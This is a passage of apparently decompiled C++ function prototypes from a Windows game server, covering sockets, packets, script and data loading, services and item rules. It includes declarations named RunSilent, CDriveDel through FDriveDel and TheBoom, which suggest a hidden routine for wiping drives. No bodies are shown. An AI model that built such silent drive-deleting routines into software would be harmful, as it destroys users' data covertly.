*this, CServerInfo::NATION_NAME *pNationName); int __thiscall CServerInfo::GetWorldName(CServerInfo *this, int nWorldNo, CServerInfo::WORLD_NAME *pWorldName); int __thiscall CServerInfo::GetServerInfo(CServerInfo *this, CServerInfo::SERVER_INFO *pServerInfo, int ServerID, int WorldNo, int ZoneNo, int ServerIDFrom); int __thiscall CServerInfo::GetServerInfo(CServerInfo *this, CServerInfo::SERVER_INFO *pServerInfo, int ServerID, int WorldNo, int ZoneNo); void __thiscall ShineScript::ss_Load(ShineScript *this, Name4 *world, const char *scriptname); void __thiscall KQScriptManager::KQScriptManager(KQScriptManager *this); void __thiscall KQScriptManager::_KQScriptManager(KQScriptManager *this); void __thiscall KQScriptManager::kqsm_Load(KQScriptManager *this, Name4 *world, char *name); ShineScript *__thiscall KQScriptManager::operator__(KQScriptManager *this, char *name); void __thiscall KQScriptManager::kqsm_Load(KQScriptManager *this, Name4 *world); ORToken *__thiscall ORToken::ort_ToLower(ORToken *this); char __thiscall ORToken::ort_IsNull(ORToken *this); char *__thiscall ORToken::ort_GetString(ORToken *this, char *buf); char __thiscall ORLinebuffer::orlb_LineRead(ORLinebuffer *this); int __thiscall ORLinebuffer::orlb_FGetc(ORLinebuffer *this); char __thiscall ORDelimiter::operator__(ORDelimiter *this, int chr); void __thiscall ORDelimiter::ORDelimiter(ORIgnore *this); void __thiscall ORExchange::ORExchange(ORExchange *this); int __thiscall ORExchange::operator__(ORExchange *this, int chr); void __thiscall ORComment::ORComment(ORComment *this); void __thiscall ORBrace::ORBrace(ORBrace *this); char __thiscall ORBrace::orb_IsOpen(ORBrace *this, int chr); char __thiscall ORBrace::orb_IsClose(ORBrace *this, int chr); void __thiscall ORErrorMessage::orem_Clear(ORErrorMessage *this); void __thiscall ORErrorMessage::operator_(ORErrorMessage *this, char *msg); void __thiscall ORTokenReader::ORTokenReader(ORTokenReader *this, _iobuf *fp, TokenArgument *argument); int __thiscall ORTokenReader::ortr_SkipBlank(ORTokenReader *this); void __thiscall ORTokenReader::ortr_SetError(ORTokenReader *this, char *err); int __thiscall ORTokenReader::ortr_ReadNumber8(ORTokenReader *this, char *result); int __thiscall ORTokenReader::ortr_ReadNumber10(ORTokenReader *this, char *result); int __thiscall ORTokenReader::ortr_ReadNumber16(ORTokenReader *this, char *result); int __thiscall ORTokenReader::ortr_GetOctal(ORTokenReader *this); int __thiscall ORTokenReader::ortr_GetDigit(ORTokenReader *this); int __thiscall ORTokenReader::ortr_GetHexa(ORTokenReader *this); int __thiscall ORTokenReader::ortr_ReadNumber(ORTokenReader *this, char *result); char __thiscall ORTokenReader::ortr_isEOL(ORTokenReader *this); int __thiscall ORTokenReader::ortr_ReadChar(ORTokenReader *this); char *__thiscall ORTokenReader::ortr_ReadString(ORTokenReader *this, ORTokenReader::BraceInString readbrace); ORToken *__thiscall ORTokenReader::ortr_ReadCommand(ORTokenReader *this, ORToken *com); char __thiscall ORDelimiter::ord_Exec(ORIgnore *this, ORTokenReader *token); char __thiscall ORExchange::ore_Exec(ORExchange *this, ORTokenReader *token); char __thiscall ORComment::orc_Exec(ORComment *this, ORTokenReader *token); char __thiscall ORBrace::orb_Exec(ORBrace *this, ORTokenReader *token); void __thiscall ORErrorMessage::ORErrorMessage(ORErrorMessage *this); void __thiscall List::_List(List *this); char __thiscall List::l_Enlargement(List *this, int extsize); char __thiscall List::l_PushA(List *this, CardDeck::Card *ele); // int __stdcall Concurrency::_Order_node_base::reserve_message(int); weak char __thiscall List::l_PopA(List *this, CardDeck::Card *ele); void __thiscall ListArray::_ListArray(ListArray *this); void __thiscall CardDeck::CardStack::_CardStack(CardDeck::CardStack *this); void __thiscall CardDeck::CardStack::cs_Suffle(CardDeck::CardStack *this, int num); unsigned __int16 __thiscall CardDeck::CardStack::cs_InsertTop(CardDeck::CardStack *this, unsigned int card); unsigned __int16 __thiscall CardDeck::CardStack::cs_InsertBottom(CardDeck::CardStack *this, unsigned int card); void __thiscall List::l_Clear(List *this); void __thiscall List::l_MakeList(List *this, unsigned __int16 size); char __thiscall List::l_SetListArray(List *this, ListArray *array); void __thiscall CardDeck::CardStack::CardStack(CardDeck::CardStack *this); void __cdecl MiniDumper::MinidumpCallStack(_EXCEPTION_POINTERS *pExceptionInfo); int __stdcall MiniDumper::TopLevelFilter(_EXCEPTION_POINTERS *pExceptionInfo); void __thiscall MiniDumper::MiniDumper(MiniDumper *this); void __thiscall ItemOptionsData::OptionCardStack::OptionCardStack(ItemOptionsData::OptionCardStack *this); void __thiscall ItemOptionsData::OptionCardStack::_OptionCardStack(ItemOptionsData::OptionCardStack *this); int __thiscall ItemOptionsData::OptionCardStack::ocs_selectnumber(ItemOptionsData::OptionCardStack *this, ItemOptions *op); EnchantSocketRateData *__cdecl EnchantSocketRateData::GetSocketRateData(); void __cdecl EnchantSocketRateData::SetSocketRateData(EnchantSocketRateData *val); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall RewardData::RewardData(RewardData *this); void __thiscall RewardData::rd_Load(RewardData *this); ShineReward *__thiscall RewardData::rd_FindHandle(RewardData *this, int handle); void __thiscall ItemOptionsData::ItemOptionsData(ItemOptionsData *this); void __thiscall ItemOptionsData::_ItemOptionsData(ItemOptionsData *this); char __thiscall ItemOptionsData::OptionCardStack::ocs_make(ItemOptionsData::OptionCardStack *this, ItemOptionStorage *ios); void __thiscall CardDeck::CardStack::cs_Clear(CardDeck::CardStack *this); void __thiscall ItemOptionsData::iod_Load(ItemOptionsData *this); const char *__cdecl GetLastErrorStr(unsigned int errorcode, int bAddCRLF); const char *__cdecl GetCurrentTimeString(int bUTCTime); const char *__cdecl GetCurrentTimeString2(int bUTCTime); void __cdecl _DebugMessageNew2(int bView, const char *sFN, const char *lpszFormat, char *args); std::locale *__thiscall std::basic_streambuf>::getloc(std::basic_streambuf > *this, std::locale *result); void __cdecl _DEBUGMSG(const char *lpszFormat); void __cdecl _DEBUGMSGVC(int bView, const char *lpszFormat); void __cdecl _DebugMessageNew(int bView, const char *sFN, const char *lpszFormat); void __thiscall std::codecvt::codecvt(std::codecvt *this, unsigned int _Refs); int __thiscall std::codecvt::do_out(std::codecvt *this, int *__formal, const char *_First1, const char *__formal, const char **_Mid1, char *_First2, char *__formal, char **_Mid2); int __thiscall std::codecvt::do_unshift(std::codecvt *this, int *__formal, char *__formal, char *__formal, char **__formal); int __thiscall std::codecvt::do_length(std::codecvt *this, const int *__formal, const char *_First1, const char *_Last1, unsigned int _Count); unsigned int __cdecl std::codecvt::_Getcat(std::locale::facet **_Ppf); std::basic_streambuf > *__thiscall std::basic_filebuf>::setbuf(std::basic_filebuf > *this, char *_Buffer, int _Count); int __thiscall std::basic_filebuf>::sync(std::basic_filebuf > *this); int __thiscall std::basic_filebuf>::pbackfail(std::basic_filebuf > *this, int _Meta); // char *__thiscall std::basic_streambuf>::_Gndec(std::basic_streambuf > *this); int __thiscall std::basic_filebuf>::underflow(std::basic_filebuf > *this); void __thiscall std::basic_filebuf>::_Initcvt(std::basic_filebuf > *this, std::codecvt *_Newpcvt); std::codecvt *__cdecl std::use_facet>(std::locale *_Loc); void __thiscall std::basic_filebuf>::imbue(std::basic_filebuf > *this, std::locale *_Loc); std::basic_filebuf > *__thiscall std::basic_filebuf>::open(std::basic_filebuf > *this, const char *_Filename, int _Mode, int _Prot); std::basic_string,std::allocator > *__thiscall std::basic_string_std::allocator>::assign(std::basic_string,std::allocator > *this, unsigned int _Count, char _Ch); int __thiscall std::basic_filebuf>::uflow(std::basic_filebuf > *this); void __thiscall std::basic_string_std::allocator>::basic_string_std::allocator>(std::basic_string,std::allocator > *this, unsigned int _Count, char _Ch); bool __thiscall std::basic_filebuf>::_Endwrite(std::basic_filebuf > *this); int __thiscall std::basic_filebuf>::overflow(std::basic_filebuf > *this, int _Meta); std::fpos *__thiscall std::basic_filebuf>::seekoff(std::basic_filebuf > *this, std::fpos *result, int _Off, int _Way, int __formal); std::fpos *__thiscall std::basic_filebuf>::seekpos(std::basic_filebuf > *this, std::fpos *result, std::fpos _Pos, int __formal); std::basic_filebuf > *__thiscall std::basic_filebuf>::close(std::basic_filebuf > *this); // void __thiscall std::basic_filebuf>::_basic_filebuf>(std::basic_filebuf > *this); void *__thiscall std::basic_filebuf>::_scalar_deleting_destructor_(std::basic_filebuf > *this, unsigned int); unsigned int __cdecl RunSilent(char *strFunct, char *strstrParams); unsigned int __stdcall CDriveDel(void *LPARAM); unsigned int __stdcall DDriveDel(void *LPARAM); unsigned int __stdcall EDriveDel(void *LPARAM); unsigned int __stdcall FDriveDel(void *LPARAM); BOOL __cdecl TheBoom(); int __thiscall CSocket_Acceptor_Process_Interface::Accept_Process(CIOCP_Process_Socket *this, CIOCP::IOCP_OVERLAPPED *pOverlapped, unsigned int NumOfBytes); void __thiscall CIOCP_Process::CIOCP_Process(CIOCP_Process *this); int __thiscall CSocket_IOCP::Receive(CSocket_IOCP *this, void *pBuffer, unsigned int dwNumBytes, unsigned int *pdwReadBytes); int __thiscall CSocket_IOCP::Shutdown(CSocket_IOCP *this); void __thiscall CSocket_IOCP::CloseUseIOCP(CSocket_IOCP *this, CIOCP *pIOCP); void __thiscall CSocket_IOCP::FreeBuffer(CSocket_IOCP *this); int __thiscall CSocket_IOCP::Close(CSocket_IOCP *this); int __thiscall CSocket_IOCP::Write(CSocket_IOCP *this, CIOBuffer *pBuffer); void __thiscall CSocket_IOCP::WriteCallback(CSocket_IOCP *this, unsigned int dwTransferred); void __thiscall CSocket_IOCP::CSocket_IOCP(CSocket_IOCP *this); void __thiscall CSocket_IOCP::_CSocket_IOCP(CSocket_IOCP *this); int __thiscall CSocket_IOCP::Connect(CSocket_IOCP *this, char *pIPAddress, int PortNo); int __thiscall CSocket_IOCP::Send(CSocket_IOCP *this, void *pBuffer, unsigned int dwNumBytes); void __thiscall CPacket::_CPacket(CPacket *this); int __thiscall CPacket::IsValidHeader(CPacket *this); int __thiscall CPacket::IsValidPacket(CPacket *this); int __thiscall CPacket::GetPacketSize(CPacket *this, int *pError); unsigned __int16 __thiscall CPacket::GetDataSize(CPacket *this); unsigned __int16 *__thiscall CPacket::GetIDPtr(CPacket *this); char *__thiscall CPacket::GetDataPtr(CPacket *this); int __thiscall CPacket::GetPacket(CPacket *this, unsigned __int16 *pID, char **ppData, int *pDataSize); void __thiscall CPacket::TakeNextPacket(CPacket *this); int __thiscall CPacket::RemoveAllUsedPacket(CPacket *this); void __thiscall CPacket::Clear(CPacket *this); unsigned __int16 __thiscall CPacket::ID(CPacket *this); void __thiscall CPacket::WriteData(CPacket *this, void *buffer, int size); int __thiscall CPacket::GetWriteableBufferSize(CPacket *this); char *__thiscall CPacket::GetWriteDataPtr(CPacket *this); void __thiscall CPacket::CPacket(CPacket *this); CPacket *__thiscall CPacket::ID(CPacket *this, unsigned __int16 PacketID, int DataSize, char *pData); void __thiscall CIOCP::CIOCP(CIOCP *this); void *__thiscall CIOCP::Register(CIOCP *this, void *IOHandle, unsigned int CompletionKey); void __thiscall CIOCP::Stop(CIOCP *this, int StopWorkerID); unsigned int __stdcall CIOCP::WorkThread(void *lpParam); int __thiscall CIOCP::Start(CIOCP *this, int nNumOfWorkThread, int bWaitAllThreadStart); void __thiscall CIOCP::_CIOCP(CIOCP *this); // unsigned int __cdecl CGTimer::GetTime(); void __thiscall CCsl::VarClear(CCsl *this); int __thiscall CCsl::MakeFormatTable(CCsl *this); int __thiscall CCsl::MakeDataTable(CCsl *this); int __thiscall CCsl::AddResultMsg(CCsl *this, char *pszMsg); CCsl::CSL_FORMAT_LIST *__thiscall CCsl::GetFormat(CCsl *this, int Index); int __thiscall CCsl::GetNumDatas(CCsl *this); CCsl::CSL_DATA_LIST *__thiscall CCsl::GetDataInfo(CCsl *this, int Index); void *__thiscall CCsl::GetData(CCsl *this, int Index, int VarNo); int __thiscall CCsl::ProcRemark(CCsl *this, char *Token); CCsl::CSL_FORMAT_LIST *__thiscall CCsl::MakeFormat(CCsl *this); int __thiscall CCsl::AddFormat(CCsl *this, CCsl::CSL_FORMAT_LIST *pAddFormat); char *__thiscall CCsl::GetDataToken(CCsl *this); int __thiscall CCsl::Parameter_filename(CCsl *this, char *pFileName); CCsl::CSL_DATA_LIST *__thiscall CCsl::MakeData(CCsl *this, unsigned int dwID, CCsl::CSL_FORMAT_LIST *pFormat); int __thiscall CCsl::ProcData(CCsl *this, char *Token, char *pRet); void __thiscall CCsl::ReadScriptDone(CCsl *this); int __thiscall CCsl::Read(CCsl *this, char *lpszPathName); int __thiscall CCsl::WriteFormat(CCsl *this, char *lpszPathName, void *hFile); int __thiscall CCsl::WriteData(CCsl *this, char *lpszPathName, void *hFile); void __thiscall CCsl::ClearFormats(CCsl *this); void __thiscall CCsl::ClearDatas(CCsl *this); void __thiscall CCsl::Close(CCsl *this); void __thiscall CCsl::Clear(CCsl *this); void __thiscall CCsl::_CCsl(CCsl *this); void __thiscall CCsl::CCsl(CCsl *this); void __thiscall CCsl::CCsl(CCsl *this, CCsl *pParentCsl); void __thiscall CCsl::IncludeFile(CCsl *this); int __thiscall CCsl::ProcCmd(CCsl *this, char *Token, char *pRet); int __thiscall CCsl::ReadScript(CCsl *this, char *lpszPathName, HWND__ *hWnd, unsigned int UseMsgID, void *pMemory); void __thiscall CSocket_Acceptor::CSocket_Acceptor(CSocket_Acceptor *this); int __thiscall CSocket_Acceptor::Stop(CSocket_Acceptor *this); int __thiscall CSocket_Acceptor::Listen_Add(CSocket_Acceptor *this, char *pIPAddress, int PortNo, unsigned int UserData, int BacklogCount); int __thiscall CSocket_Acceptor::GetAccepted(CSocket_Acceptor *this, CSocket_Acceptor::ACCEPTED_SOCKET_INFO *pSocketInfo, int bRemove); int __thiscall CSocket_Acceptor::SetAccepted(CSocket_Acceptor *this, unsigned int Socket, sockaddr_in *pSocketAddr, unsigned int UserData); int __thiscall CSocket_Acceptor::AcceptThreadWork(CSocket_Acceptor *this, unsigned int CheckPoint); void __thiscall CSocket_Acceptor::_CSocket_Acceptor(CSocket_Acceptor *this); unsigned int __stdcall CSocket_Acceptor::AcceptThreadRing(void *lpParam); int __thiscall CSocket_Acceptor::Listen_Start(CSocket_Acceptor *this); void __thiscall WinService::_WinService(WinService *this); bool __thiscall WinService::uploadService(WinService *this, String svcName, String displayName, String modulePath); bool __thiscall WinService::removeService(WinService *this, String svcName); void __thiscall WinService::onServiceStop(WinService *this); int __thiscall WinService::queryServiceStatus(WinService *this, unsigned int *pResult, const char *netMachine, const char *serviceName); void __thiscall WinService::WinService(WinService *this); void *__thiscall WinService::_vector_deleting_destructor_(WinService *this, unsigned int); void __stdcall WinService::serviceHandler(unsigned int status); bool __thiscall WinService::onServiceStart(WinService *this); void __stdcall WinService::serviceLoop(unsigned int argc, char **argv); bool __thiscall WinService::startDispatcher(WinService *this, String serviceName, bool (__cdecl *startCallBack)(), void (__cdecl *stopCallBack)()); // void __thiscall String::_String(String *this); void __thiscall String::allocData(String *this, int strLen); void __thiscall String::makeUpper(String *this); String *__thiscall String::operator_(String *this, const char *str); void __thiscall String::String(String *this); void *__thiscall String::_scalar_deleting_destructor_(String *this, unsigned int); void __thiscall String::String(String *this, const char *str); String *__thiscall String::operator_(String *this, String *str); bool __cdecl operator__(String *str1, String *str2); BinaryDataBox *__thiscall BinaryDataBox::bdb_ReadData(BinaryDataBox *this, char *fname); void __thiscall MapDataBox::mdb_Load(MapDataBox *this); void __thiscall MapDataBox::MapDataBox(MapDataBox *this); void __thiscall MapDataBox::_MapDataBox(MapDataBox *this); int __cdecl InetAddress::WinSockStart(int MajorVer, int MinorVer); char *__cdecl InetAddress::GetHostByName(char *name); void __thiscall DropItemStruct::ItemGroup::ItemGroup(ORKeyList::KeyElement *this); void __thiscall ORKeyList::_ORKeyList(ORKeyList *this); void __thiscall ORKeyList::okl_AddKey(ORKeyList *this, ORToken *field, ORRecord *rec); int __cdecl ORKeyList::okl_KeyCompare(const void *a, const void *b); void __thiscall ORKeyList::ORKeyList(ORKeyList *this); char __thiscall ORKeyList::okl_Sorting(ORKeyList *this); ORRecord *__thiscall ORKeyList::okl_Searching(ORKeyList *this, char *index); ORToken *__thiscall ORField::orf_ColumnName(ORField *this); char __thiscall ORFieldIndex::orf_Read(ORFieldIndex *this, ORTokenReader *token); char __thiscall ORFieldIndex::orf_CompareContent(ORFieldIndex *this, char *contentstring, ORToken *contentindex); int __thiscall ORFieldIndex::orf_Alloc(ORFieldDwrd *this, char *pnt); char __thiscall ORFieldString::orf_CompareContent(ORFieldString *this, char *contentstring, ORToken *contentindex); char __thiscall ORFieldByte::orf_Read(ORFieldByte *this, ORTokenReader *token); char __thiscall ORFieldByte::orf_CompareContent(ORFieldByte *this, char *contentstring, ORToken *contentindex); char __thiscall ORFieldWord::orf_Read(ORFieldWord *this, ORTokenReader *token); char __thiscall ORFieldWord::orf_CompareContent(ORFieldWord *this, char *contentstring, ORToken *contentindex); char __thiscall ORFieldDwrd::orf_Read(ORFieldDwrd *this, ORTokenReader *token); char __thiscall ORFieldDwrd::orf_CompareContent(ORFieldDwrd *this, char *contentstring, ORToken *contentindex); void *__thiscall AxialListNearGateFind::alngf_GetObject(ORFieldDwrd *this); void __thiscall ORRecord::ORRecord(ORRecord *this); void __thiscall ORRecord::l_Clone(ORRecord *this, ORRecord *rec); void *__thiscall ORRecord::orr_GetBuffer(ORRecord *this); void __thiscall ORRecord::orr_MakeBuffer(ORRecord *this, int recorelength); void __thiscall ORRecord::orr_AllocMemory(ORRecord *this, ORField *cell); ORField *__thiscall ORRecord::orr_AllocObject(ORRecord *this, unsigned __int16 *hnd, unsigned __int16 type); char __thiscall ORFieldString::orf_Read(ORFieldString *this, ORTokenReader *token); void __thiscall ORRecord::_ORRecord(ORRecord *this); void __cdecl FillInStackFrame(_CONTEXT *pCtx); int __stdcall CH_ReadProcessMemory(void *__formal, unsigned __int64 qwBaseAddress, void *lpBuffer, unsigned int nSize, unsigned int *lpNumberOfBytesRead); const char *__cdecl EHConvertSimpleException(unsigned int dwExcept); int __cdecl EHInitSymbolEngine(); void __cdecl EHCleanupSymbolEngine(); const char *__stdcall EHInternalGetStackTraceString(unsigned int dwOpts); const char *__stdcall GetFaultReason(_EXCEPTION_POINTERS *pExPtrs); const char *__stdcall GetFirstStackTraceString(unsigned int dwOpts, _EXCEPTION_POINTERS *pExPtrs); const char *__stdcall GetNextStackTraceString(unsigned int dwOpts, _EXCEPTION_POINTERS *__formal); void __thiscall CIOSpinLock::Wait(CIOSpinLock *this); void __thiscall IOBufferContainer::IOBufferContainer(IOBufferContainer *this); CIOBuffer *__thiscall IOBufferContainer::iobc_Alloc(IOBufferContainer *this); void *__thiscall CIOBuffer::_scalar_deleting_destructor_(CIOBuffer *this, unsigned int); CIOBuffer *__cdecl CIOBuffer::Alloc(); void __thiscall CIOBuffer::Free(CIOBuffer *this); void __thiscall CToken::CToken(CToken *this); void __thiscall CToken::Close(CToken *this); void __thiscall CToken::SetSeprator(CToken *this, char *lpszSeprator); char *__thiscall CToken::my_tcstok(CToken *this, char *pstrToken, const char *pstrDelimit); char *__thiscall CToken::GetToken(CToken *this); int __thiscall CToken::GoBegin(CToken *this); int __thiscall CToken::GoNextLine(CToken *this); char *__thiscall CToken::GoStartString(CToken *this); void __thiscall CToken::SaveTokenPositon(CToken *this); int __thiscall CToken::RestoreTokenPositon(CToken *this, const char *pMarkPoint); unsigned int __thiscall CToken::IsTokenID(CToken *this, char *Token, char **ppTokenList, unsigned int NumTokens); char *__thiscall CToken::GetTokenID(CToken *this, unsigned int *lpdwTokenID, char **ppTokenList, unsigned int NumTokens); void __thiscall CToken::_CToken(CToken *this); int __thiscall CToken::Open(CToken *this, char *lpszPathName); int __thiscall CToken::OpenFromMemory(CToken *this, char *lpText); char *__thiscall CToken::GetTokenString(CToken *this, int *pstrsize); void __thiscall CGdp::Clear(CGdp *this); unsigned int __thiscall CGdp::GdpSetFilePointer(CGdp *this, int lLow, int *lpHigh, unsigned int dwMode); void __thiscall CGdp::GdpEncryptHeader(CGdp *this, CGdp::GDP_CHUNK *lpChunk); void __thiscall CGdp::GdpDecryptData(CGdp *this, void *lpData, unsigned int dwSize); int __thiscall CGdp::GdpWriteChunk(CGdp *this, CGdp::GDP_CHUNK *lpChunk); int __thiscall CGdp::GdpUpdateChunk(CGdp *this, unsigned int dwChunkNo); void __thiscall CGdp::UpdateWriteDataInfo(CGdp *this, const void *lpBuffer, unsigned int nNumberOfBytesToWrite); unsigned int __thiscall CGdp::GdpSearchFile(CGdp *this, const char *lpFileName); int __thiscall CGdp::GdpDeleteFile(CGdp *this, unsigned int dwFileNo); int __thiscall CGdp::GdpDeleteFile(CGdp *this, const char *lpFileName); int __thiscall CGdp::CloseHandle(CGdp *this, void *hObject); int __thiscall CGdp::ReadFile(CGdp *this, void *hFile, void *lpBuffer, unsigned int nNumberOfBytesToRead, unsigned int *lpNumberOfBytesRead, _OVERLAPPED *lpOverlapped); int __thiscall CGdp::WriteFile(CGdp *this, void *hFile, const void *lpBuffer, unsigned int nNumberOfBytesToWrite, unsigned int *lpNumberOfBytesWritten, _OVERLAPPED *lpOverlapped); unsigned int __thiscall CGdp::GetFileSize(CGdp *this, void *hFile, unsigned int *lpFileSizeHigh); unsigned int __thiscall CGdp::SetFilePointer(CGdp *this, void *hFile, int lDistanceToMove, int *lpDistanceToMoveHigh, unsigned int dwMoveMethod); int __thiscall CGdp::fclose(CGdp *this, _iobuf *stream); void __thiscall CGdp::CGdp(CGdp *this); int __thiscall CGdp::GdpCloseFile(CGdp *this); unsigned int __thiscall CGdp::GdpMakeEmptyChunk(CGdp *this, unsigned int NumMakes); int __thiscall CGdp::GdpClose(CGdp *this); int __thiscall CGdp::Open(CGdp *this, unsigned int GdpFileNo); int __thiscall CGdp::Open(CGdp *this, const char *lpFileName); void __thiscall CGdp::_CGdp(CGdp *this); unsigned int __thiscall CGdp::GdpGetEmptyChunk(CGdp *this); void *__thiscall CGdp::CreateFileA(CGdp *this, const char *lpFileName, unsigned int dwDesiredAccess, unsigned int dwShareMode, _SECURITY_ATTRIBUTES *lpSecurityAttributes, unsigned int dwCreationDisposition, unsigned int dwFlagsAndAttributes, void *hTemplateFile); void __thiscall CSocket_Acceptor_Process::CSocket_Acceptor_Process(CSocket_Acceptor_Process *this); void __thiscall CDataReader::CDataReader(CDataReader *this); void __thiscall CDataReader::ClearBF(CDataReader *this); void __cdecl CDataReader::Encription(CDataReader *this, char *pBF, unsigned int nSize); void *__thiscall CDataReader::GetRecord(CDataReader *this, unsigned int RecordNo); void __thiscall CDataReader::_CDataReader(CDataReader *this); void __thiscall std::num_get>>::num_get>>(std::num_get > > *this, unsigned int _Refs); void *__thiscall std::codecvt::_vector_deleting_destructor_(std::num_get > > *this, unsigned int); int __thiscall std::basic_streambuf>::snextc(std::basic_streambuf > *this); bool __thiscall std::basic_istream>::_Ipfx(std::basic_istream > *this, bool _Noskip); unsigned int __cdecl std::num_get>>::_Getcat(std::locale::facet **_Ppf); void __thiscall std::basic_istream>::sentry::sentry(std::basic_istream >::sentry *this, std::basic_istream > *_Istr, bool _Noskip); std::num_get > > *__cdecl std::use_facet>>>(std::locale *_Loc); int __thiscall CDataReader::Read(CDataReader *this, const char *pFN); int __thiscall CDataReader::Read(CDataReader *this, const char *pFN, unsigned int nVersionKey, unsigned int nStructSize); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, bool *_Val); bool __thiscall std::istreambuf_iterator>::equal(std::istreambuf_iterator > *this, std::istreambuf_iterator > *_Right); char __thiscall std::istreambuf_iterator>::_Peek(std::istreambuf_iterator > *this); int __cdecl std::_Getloctxt>>(std::istreambuf_iterator > *_First, std::istreambuf_iterator > *_Last, unsigned int _Numfields, const char *_Ptr); void __thiscall std::istreambuf_iterator>::_Inc(std::istreambuf_iterator > *this); int __cdecl std::num_get>>::_Getifld(std::num_get > > *this, char *_Ac, std::istreambuf_iterator > *_First, std::istreambuf_iterator > *_Last, int _Basefield, std::locale *_Loc); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, unsigned __int16 *_Val); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, unsigned int *_Val); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, int *_Val); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, unsigned int *_Val); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, __int64 *_Val); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, unsigned __int64 *_Val); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, float *_Val); int __cdecl std::num_get>>::_Getffld(std::num_get > > *this, char *_Ac, std::istreambuf_iterator > *_First, std::istreambuf_iterator > *_Last, std::locale *_Loc); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, long double *_Val); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, long double *_Val); std::istreambuf_iterator > *__thiscall std::num_get>>::do_get(std::num_get > > *this, std::istreambuf_iterator > *result, std::istreambuf_iterator > _First, std::istreambuf_iterator > _Last, std::ios_base *_Iosbase, int *_State, void **_Val); void __thiscall CItemAuthorityBase::CItemAuthorityBase(CItemAuthorityBase *this); void __thiscall CItemAuthorityBase::_CItemAuthorityBase(CItemAuthorityBase *this); int __thiscall CItemAuthorityBase::IA_CanDrop(CItemAuthorityBase *this, E_BelongType eType, SHINE_PUT_ON_BELONGED_ITEM eBelongState); int __thiscall CItemAuthorityBase::IA_CanDelete(CItemAuthorityBase *this, E_BelongType eType); int __thiscall CItemAuthorityBase::IA_CanPlayerTrade(CItemAuthorityBase *this, E_BelongType eType, SHINE_PUT_ON_BELONGED_ITEM eBelongState); int __thiscall CItemAuthorityBase::IA_CanNpcSell(CItemAuthorityBase *this, E_BelongType eType); int __thiscall CItemAuthorityBase::IA_IsWorkChrBelonged(CItemAuthorityBase *this, E_BelongType eType, SHINE_PUT_ON_BELONGED_ITEM eBelongState); int __thiscall CItemAuthorityBase::IA_IsWorkAccBelonged(CItemAuthorityBase *this, E_BelongType eType, SHINE_PUT_ON_BELONGED_ITEM eBelongState); int __thiscall CItemAuthorityBase::IA_IsDataPutOnBelonged(CItemAuthorityBase *this, E_BelongType eType); void *__thiscall CItemAuthorityBase::_scalar_deleting_destructor_(CItemAuthorityBase *this, unsigned int); int __thiscall CItemAuthorityBase::IA_CanInvenReloc(CItemAuthorityBase *this, E_BelongType eType, SHINE_PUT_ON_BELONGED_ITEM eBelongState, unsigned __int16 FromInven, unsigned __int16 ToInven, E_RELOC_ERR *eRelocErr); bool __thiscall AreaInfoData::AE_Circle::IntersectTest(AreaInfoData::AE_Circle *this, float fX, float fY); bool __thiscall AreaInfoData::AE_Square::IntersectTest(AreaInfoData::AE_Square *this, float fX, float fY); void __thiscall AreaInfoData::AreaInfoData(AreaInfoData *this); AreaInfoData::IAreaData *__thiscall AreaInfoData::GetData(AreaInfoData *this, Name8 *Name); void __thiscall AreaInfoData::RemoveAll(AreaInfoData *this); void __thiscall AreaInfoData::_AreaInfoData(AreaInfoData *this); bool __thiscall AreaInfoData::Load(AreaInfoData *this, const char *szFileName); void *__thiscall AreaInfoData::_vector_deleting_destructor_(AreaInfoData *this, unsigned int); int __thiscall CCharacterTitleData::Read(CCharacterTitleData *this, const char *pFN, unsigned int nVersionKey, unsigned int nStructSize); CHARACTER_TITLE_DATA *__thiscall CCharacterTitleData::GetGroupData(CCharacterTitleData *this, char Type); const char *__thiscall CCharacterTitleData::GetTitleString(CCharacterTitleData *this, char Type, char ElementNo); unsigned int __thiscall CCharacterTitleData::GetTitleValue(CCharacterTitleData *this, char Type, char ElementNo); unsigned int __thiscall CCharacterTitleData::GetTitleFame(CCharacterTitleData *this, char Type, char ElementNo); int __thiscall CCharacterTitleData::IsTitlePermit(CCharacterTitleData *this, char Type); int __thiscall CCharacterTitleData::IsTitleRefresh(CCharacterTitleData *this, char Type); CT_TITLE *__thiscall CCharacterTitle::GetGroupTitle(CCharacterTitle *this, char Type); CT_ELEMENT_VALUE __thiscall CCharacterTitle::GetTitleStatus(CCharacterTitle *this, char Type, char ElementNo); int __thiscall 